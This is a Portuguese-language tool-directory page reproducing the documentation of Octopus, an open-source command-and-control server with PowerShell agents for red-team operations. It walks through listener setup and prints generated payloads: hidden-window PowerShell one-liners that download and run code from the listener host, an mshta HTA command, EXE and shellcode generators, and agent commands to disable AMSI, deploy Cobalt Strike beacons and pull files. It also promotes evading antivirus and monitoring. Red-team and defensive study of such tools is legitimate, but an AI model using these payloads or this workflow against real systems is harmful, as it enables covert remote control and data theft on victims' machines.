Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Octopus — Servidor C2 de pré-operação de código aberto baseado em Python e PowerShell | Kitploit
Ferramentas/GitHubGitHub/mhaskar/octopus
Ferramentas de Criptografia/DescriptografiaGeração de PayloadsColeta de InformaçõesTestes de PenetraçãoComando e ControleRed Teaming
GitHubmhaskar/octopus

Octopus

Servidor C2 de pré-operação de código aberto baseado em Python e PowerShell

Ver Repositório
7631554há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

O que é o Octopus?

Octopus é um servidor C2 de pré-operação de código aberto baseado em Python que pode controlar um agente Octopus PowerShell através de HTTP/S.

O principal objetivo de criar o Octopus é para uso antes de qualquer operação de red team, onde, em vez de iniciar o engajamento com todo o seu arsenal operacional e infraestrutura, você pode usar o Octopus primeiro para atacar o alvo e coletar informações antes de iniciar sua operação real de red team.

Octopus funciona de uma forma muito simples para executar comandos e trocar informações com o C2 através de um canal bem criptografado, o que o torna discreto e indetectável por quase todas as soluções de antivírus, proteção de endpoint e monitoramento de rede.

Um recurso interessante do Octopus é chamado ESA, que significa "Endpoint Situational Awareness" (Consciência Situacional do Endpoint), que coleta algumas informações importantes sobre o alvo para ajudá-lo a obter um melhor entendimento dos endpoints da rede alvo que você enfrentará durante sua operação, dando assim a oportunidade de personalizar sua operação real com base nessas informações.

Octopus é projetado para ser furtivo e oculto durante a comunicação com o C2, pois usa AES-256 por padrão para seu canal criptografado entre o agente PowerShell e o servidor C2. Você também pode optar por usar SSL/TLS fornecendo um certificado válido para seu domínio e configurando o servidor Octopus C2 para usá-lo.

Principais recursos do Octopus

Octopus vem com uma série de recursos que permitem obter uma visão sobre seu próximo engajamento antes mesmo de precisar implantar todo seu arsenal ou ferramentas e técnicas, como:

  • Controlar agentes através de HTTP/S.
  • Executar comandos do sistema.
  • Baixar / Enviar arquivos.
  • Carregar módulos externos do PowerShell.
  • Usar canais criptografados (AES-256) entre C2 e agentes.
  • Usar técnicas discretas para executar comandos e transferir resultados.
  • Criar listeners personalizados e múltiplos para cada alvo.
  • Gerar diferentes tipos de payloads.
  • Suportar todas as versões do Windows com PowerShell 2.0 e superior.
  • Executar o agente executável do Octopus no Windows sem tocar no processo powershell.exe.
  • Recurso de coleta automática de informações do endpoint (consciência situacional do endpoint).

Requisitos

Você pode instalar todos os requisitos do Octopus via :

pip install -r requirements.txt

Você precisa instalar o nasm para Linux e o compilador mingw-w64 para usar o recurso de shellcoding e o agente de argumentos falsificados.

Você pode instalar o nasm em distribuições baseadas em Debian usando:

apt install nasm

E você pode instalar o mingw-w64 em distribuições baseadas em Debian usando:

apt install mingw-w64

Octopus foi testado nos seguintes sistemas operacionais:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

Você também precisará instalar o mono para garantir que possa compilar o código-fonte C# sem problemas.

Octopus depende do binário mono-csc para compilar o código-fonte C# e você pode instalá-lo com o seguinte comando: apt install mono-devel, que foi testado no Kali e Ubuntu 16.04.

Você pode usar o Octopus sem instalar o mono, mas não poderá usar o comando generate_exe.

Observe também que a compilação do C# depende do assembly System.Management.Automation.dll com o hash SHA1 a43ed886b68c6ee913da85df9ad2064f1d81c470.

Se você encontrar algum problema ao usar o Octopus, fique à vontade para abrir um relatório de bug!

Instalação

Primeiro, certifique-se de baixar a versão mais recente do Octopus usando o seguinte comando:

git clone https://github.com/mhaskar/Octopus/

Em seguida, você precisa instalar os requisitos usando o seguinte comando:

pip install -r requirements.txt

Depois disso, você pode iniciar o servidor Octopus executando o seguinte:

./octopus.py

Você será saudado com o seguinte ao executá-lo:

root@kitploit:~
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 stable !


 Octopus C2 | Control your shells


Octopus >>

Uso

Usar o Octopus é bastante simples: você só precisa iniciar um listener e gerar seu agente com base nas informações desse listener.

Você pode gerar quantos listeners precisar e, em seguida, começar a interagir com seus agentes que se conectam a eles.

Configuração de perfil

Antes de começar a usar o Octopus, você precisa configurar um perfil de manipulação de URL que controlará o comportamento e as funções do C2. Como o Octopus é um C2 baseado em HTTP, ele depende de URLs para lidar com as conexões e garantir que as URLs não sirvam como assinaturas ou IoCs na rede que você está atacando; as URLs podem ser facilmente personalizadas e renomeadas conforme necessário.

A configuração de perfil atualmente suporta apenas manipulação de URLs, valor de auto-kill e cabeçalhos.

Configurando seu perfil

Para começar a configurar seu perfil, você precisa editar o arquivo profile.py, que contém várias variáveis-chave, que são:

  • file_reciever_url: lida com o download de arquivos.
  • report_url: lida com relatórios ESA.
  • command_send_url: lida com os comandos que serão enviados ao alvo.
  • command_receiver_url: lida com os comandos que serão executados no alvo.
  • first_ping_url: lida com a primeira conexão do alvo.
  • server_response_header: este cabeçalho aparecerá em cada resposta.
  • auto_kill: variável para controlar quando o agente será morto após N tentativas de conexão com o C2.

Exemplo:

root@kitploit:~
#!/usr/bin/python3

# este é o perfil do web listener para Octopus C2
# você pode personalizar seu perfil para lidar com URLs específicas para se comunicar com o agente
# TODO: adicionar a capacidade de personalizar os cabeçalhos das requisições

# lidando com o download de arquivos
# Ex: /qualquercoisa
# Ex: /qualquercoisa.php
file_receiver_url = "/messages"


# lidando com a geração de relatórios
# Ex: /qualquercoisa
# Ex: /qualquercoisa.php
report_url = "/calls"

# envio de comandos para o agente (armazena o comando a ser executado em um host)
# deixe <hostname> como está, no mesmo formato
# Ex: /profile/<hostname>
# Ex: /messages/<hostname>
# Ex: /bills/<hostname>
command_send_url = "/view/<hostname>"


# lidando com o comando executado
# Ex: /qualquercoisa
# Ex: /qualquercoisa.php
command_receiver_url = "/bills"


# lidando com a primeira conexão do agente
# Ex: /qualquercoisa
# Ex: /qualquercoisa.php
first_ping_url = "/login"

# será retornado em cada resposta como cabeçalho Server
server_response_header = "nginx"

# retornará uma página branca que inclui o script HTA
mshta_url = "/hta"

# valor de auto-kill após n tentativas

auto_kill = 10


O agente e os listeners serão configurados para usar este perfil para se comunicarem. Em seguida, precisamos saber como criar um listener.

Listeners

Octopus possui dois listeners principais, "http listener" e "https listener", e as opções de ambos são praticamente idênticas.

Listener HTTP:

O comando listen_http recebe os seguintes argumentos para iniciar:

  • BindIP Define o endereço IP que será usado pelo listener.
  • BindPort Define a porta que você deseja ouvir.
  • Hostname Será usado para solicitar o payload.
  • Interval Quantos segundos o agente aguardará antes de verificar comandos.
  • URL O nome da página que hospeda o payload.
  • Listener_name Nome do listener a ser usado.

Você também pode ver um exemplo executando o comando listen_http:

root@kitploit:~
Octopus >>listen_http
[-] Verifique os argumentos do listener!
Sintaxe  : listen_http BindIP BindPort hostname interval URL listener_name
Exemplo (com domínio) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Exemplo (sem domínio) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
Informações das opções:

BindIP  		Endereço IP que será usado pelo listener
BindPort  		Porta que você deseja ouvir
Hostname 		Será usado para solicitar o payload do alvo
Interval 		Quantos segundos o agente aguardará antes de verificar comandos
URL  			Nome da página que conterá o payload
Listener_name  	Nome do listener a ser usado

Octopus >>

E podemos iniciar um listener usando o seguinte comando:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

O seguinte resultado será retornado:

root@kitploit:~
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

O listener foi iniciado com sucesso, e podemos ver todos os listeners usando o comando listeners:

root@kitploit:~
Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

Listener HTTPS:

Para criar um listener HTTPS, você pode usar o comando listen_https da seguinte forma:

root@kitploit:~
Octopus >>listen_https
[-] Verifique os argumentos do listener!
Sintaxe  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Exemplo (com domínio) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started!
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

O comando listen_https recebe os seguintes argumentos para iniciar:

  • BindIP : que é o endereço IP que será usado pelo listener
  • BindPort : que é a porta que você deseja ouvir
  • Hostname : será usado para solicitar o payload do alvo
  • Interval : quantos segundos o agente aguardará antes de verificar comandos
  • URL page : nome da página que conterá o payload
  • Listener_name : nome do listener a ser usado
  • certficate_path : caminho para um certificado SSL válido (chamado fullchain.pem para certificados letsencrypt)
  • key_path : caminho para a chave válida para o certificado SSL (chamado key.pem para certificados letsencrypt)

Observe que você precisa fornecer um certificado SSL válido associado ao domínio utilizado.

Gerar agentes

PowerShell oneliner

Para gerar um agente para o listener operation1, podemos usar o seguinte comando:

generate_powershell operation1

e obteremos o seguinte resultado:

root@kitploit:~
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

Nota - Para clientes Windows 7, pode ser necessário prefixar o payload com "Add-Type -AssemblyName System.Core;"
       ex.: powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

Aproveite o ataque ;)
#====================

Octopus >>

Agora podemos usar este oneliner para iniciar nosso agente.

HTA oneliner

Para gerar um HTA oneliner para o listener1 operation1, podemos usar o seguinte comando:

generate_hta operation1

e obteremos os seguintes resultados:

root@kitploit:~
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
espalhe e aguarde ;)
#====================
Octopus >>

Observe que você pode editar a URL /hta usando profile.py

Agente EXE do Octopus

Para gerar um agente EXE para o listener operation1, podemos usar o seguinte comando:

generate_unmanaged_exe operation1 /opt/Octopus/file.exe

e obteremos o seguinte resultado:

root@kitploit:~
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] Arquivo compilado com sucesso!
[+] Arquivo binário salvo em /opt/Octopus/file.exe
Octopus >>

Observe que você precisa instalar o mono-csc para compilar o código-fonte C#.

Agente com argumentos falsificados do Octopus

Você pode gerar um novo agente EXE que executará um processo PowerShell com argumentos falsificados, baseado na brilhante pesquisa de Adam Chester.

Para gerar este exe, você pode usar o seguinte comando:

root@kitploit:~
Octopus >>generate_spoofed_args_exe
[-] Selecione um listener e verifique suas opções!
Sintaxe :  generate_spoofed_args_exe listener_name output_path
Exemplo : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>

Gerar shellcode x64 e shellcode x86

O Octopus pode gerar shellcode x64 e x86 a partir da versão 1.2. O shellcode gerado usa CreateProcessA para iniciar um powershell.exe oneliner que iniciará o agente PowerShell.

Para gerar shellcode x64, você pode usar o seguinte comando:

root@kitploit:~
Octopus >>generate_x64_shellcode
[-] Selecione um listener e verifique suas opções!
Sintaxe :  generate_x64_shellcode listener_name
Exemplo : generate_x64_shellcode listener1
Octopus >>

Para gerar shellcode x86, você pode usar o seguinte comando:

root@kitploit:~
Octopus >>generate_x86_shellcode
[-] Selecione um listener e verifique suas opções!
Sintaxe :  generate_x86_shellcode listener_name
Exemplo : generate_x86_shellcode listener1
Octopus >>

Interagindo com agentes

Primeiro, você pode listar todos os agentes conectados usando o comando list para obter os seguintes resultados:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>

E então podemos usar o comando interact para interagir com o host da seguinte forma:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >>

Você pode listar todos os comandos disponíveis usando o comando help da seguinte forma:

root@kitploit:~
Octopus >>list


  Session  IP            Hostname       PID  Username       Domain        Last ping                 OS
---------  ------------  -----------  -----  -------------  ------------  ------------------------  --------------------------------
        1  192.168.1.43  HR-PC-TYRMJ  10056  hr-pc\labuser  darkside.com  Tue Sep  3 10:22:07 2019  Microsoft Windows 10 Pro(64-bit)


Octopus >>interact 1
(HR-PC-TYRMJ) >> help


Comandos disponíveis para usar:

Dica: se você quiser executar um comando do sistema, basta digitá-lo e aguardar os resultados

+++++++++
help  				mostrar este menu de ajuda
exit/back 			sair da sessão atual e voltar para a tela principal
clear 				limpar a saída da tela
download 			baixar arquivo da máquina alvo
deploy_cobalt_beacon 		implantar beacon do Cobalt Strike PowerShell no processo atual
load 				carregar módulo do PowerShell na máquina alvo
disable_amsi 			desabilitar AMSI na máquina alvo
report 				obter relatório de situação do alvo


(HR-PC-TYRMJ) >>

Para executar um comando do sistema diretamente, podemos digitar o comando diretamente e então aguardar os resultados com base no intervalo de verificação que definimos ao criar o listener.

root@kitploit:~
(HR-PC-TYRMJ) >> ipconfig
[+] Comando enviado, aguardando resultados
(HR-PC-TYRMJ) >>
Resultado da execução do comando é :

Windows IP Configuration


Ethernet adapter Ethernet1:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . : home
   Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
   IPv4 Address. . . . . . . . . . . : 192.168.1.43
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter Ethernet:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :



(HR-PC-TYRMJ) >>

Neste caso, o comando foi criptografado e enviado ao agente; em seguida, o cliente descriptografou o comando e o executou. O agente criptografou os resultados e, finalmente, os enviou de volta ao C2 para descriptografá-los e exibir os resultados.

Também podemos usar o comando report para obter as informações do ESA:

root@kitploit:~
(HR-PC-TYRMJ) >> report
[+] Comando enviado, aguardando resultados
(HR-PC-TYRMJ) >>
Relatório de consciência situacional do endpoint para HR-PC-QNGAV

=============
Hostname : 	HR-PC-QNGAV
Domain : 	darkside.com
OS : 		Microsoft Windows 10 Pro(64-bit)
OS build : 	10.0.17134
OS arch : 	64-bit
AntiVirus : 	Symantec
Solução SIEM : False
Interfaces/IPs internos :
	IP : 192.168.178.144
	IP : 172.12.1.20


Idioma do dispositivo : en-US
Tempo de atividade do dispositivo : 41.6386169797778 horas
Horário local do dispositivo : 21:55(09/09/2019)


(HR-PC-TYRMJ) >>

Você pode carregar um módulo externo do PowerShell colocando-o no diretório modules e, em seguida, executando load module.ps1.

Além disso, você pode listar todos os módulos no diretório modules executando o comando modules:

root@kitploit:~
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Módulo deve ser carregado!
(HR-PC-TYRMJ) >>

Mais sobre o Octopus

  • Octopus v1.0 stable: Cobalt Strike deployment & much more!

  • Unveiling Octopus: The pre-operation C2 for Red Teamers

Créditos

  • Ian Lyte por relatar múltiplos bugs no Octopus e fornecer um módulo de bypass AMSI aprimorado.

  • Khlief por adicionar o módulo HTA e corrigir um bug no recurso de download.

  • Moath Maharmah por melhorar o módulo de criptografia e escrever um agente Octopus C# independente, que será adicionado no próximo lançamento.

  • TeslaPulse por testar o Octopus.

  • J005 por adicionar um oneliner PowerShell aprimorado e corrigir um problema no script de ataque HID.

Licença

Este projeto é licenciado sob a Licença GPL-3.0 - consulte o arquivo LICENSE para obter detalhes

Baixar ferramenta